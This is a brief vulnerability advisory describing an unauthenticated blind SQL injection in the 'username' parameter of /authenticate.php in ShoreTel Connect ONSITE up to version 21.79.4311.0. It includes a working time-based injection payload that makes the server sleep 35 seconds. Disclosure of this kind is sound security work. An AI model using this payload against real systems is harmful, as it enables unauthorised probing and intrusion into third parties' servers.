URL: https://www.shoretel.com/ Vulnerability overview/description: - ----------------------------------- Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0 are vulnerable to a Blind SQL Injection in /authenticate.php, on the webserver that is running the Conference system. Specifically, the POST parameter "username" is not sanitised prior to being used in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20 for the username value the server will respond after approximately 35 seconds. No authentication is needed in order to exploit the vulnerability as the issue resides in the pre-authentication realm of the system.
